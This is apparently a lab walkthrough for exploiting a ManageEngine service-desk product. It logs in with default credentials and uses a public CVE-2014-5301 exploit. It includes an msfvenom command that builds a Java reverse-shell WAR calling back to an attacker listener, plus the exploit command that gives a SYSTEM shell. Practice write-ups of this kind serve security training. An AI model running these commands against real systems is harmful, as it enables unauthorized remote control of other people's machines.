This is running version 7.6.0 as per the information available on screen. Looking up default credentials on Google shows we can try administrator:admininistrator. This proves successful and are able to login.

Research exploits for this particular version we come across CVE-2014-5301.

Description:

Directory traversal vulnerability in ServiceDesk Plus MSP v5 to v9.0 v9030; AssetExplorer v4 to v6.1; SupportCenter v5 to v7.9; IT360 v8 to v10.4.

Looking for available exploits we come to: https://github.com/PeterSufliarsky/exploits/blob/master/CVE-2014-5301.py

As per the exploit instructions contained in the script generate a WAR file with msfvenom:

msfvenom -p java/shell_reverse_tcp LHOST=192.168.49.214 LPORT=445 -f war > /home/kali/Desktop/shell.war

Then execute with the following syntax:

# Script usage: ./CVE-2014-5301.py HOST PORT USERNAME PASSWORD WARFILE
 sudo python3 exploit.py 192.168.214.43 8080 administrator administrator shell.war

A shell should be received on a netcat listener running as SYSTEM.

If you get a java heap error on the shell revert the machine and try again.
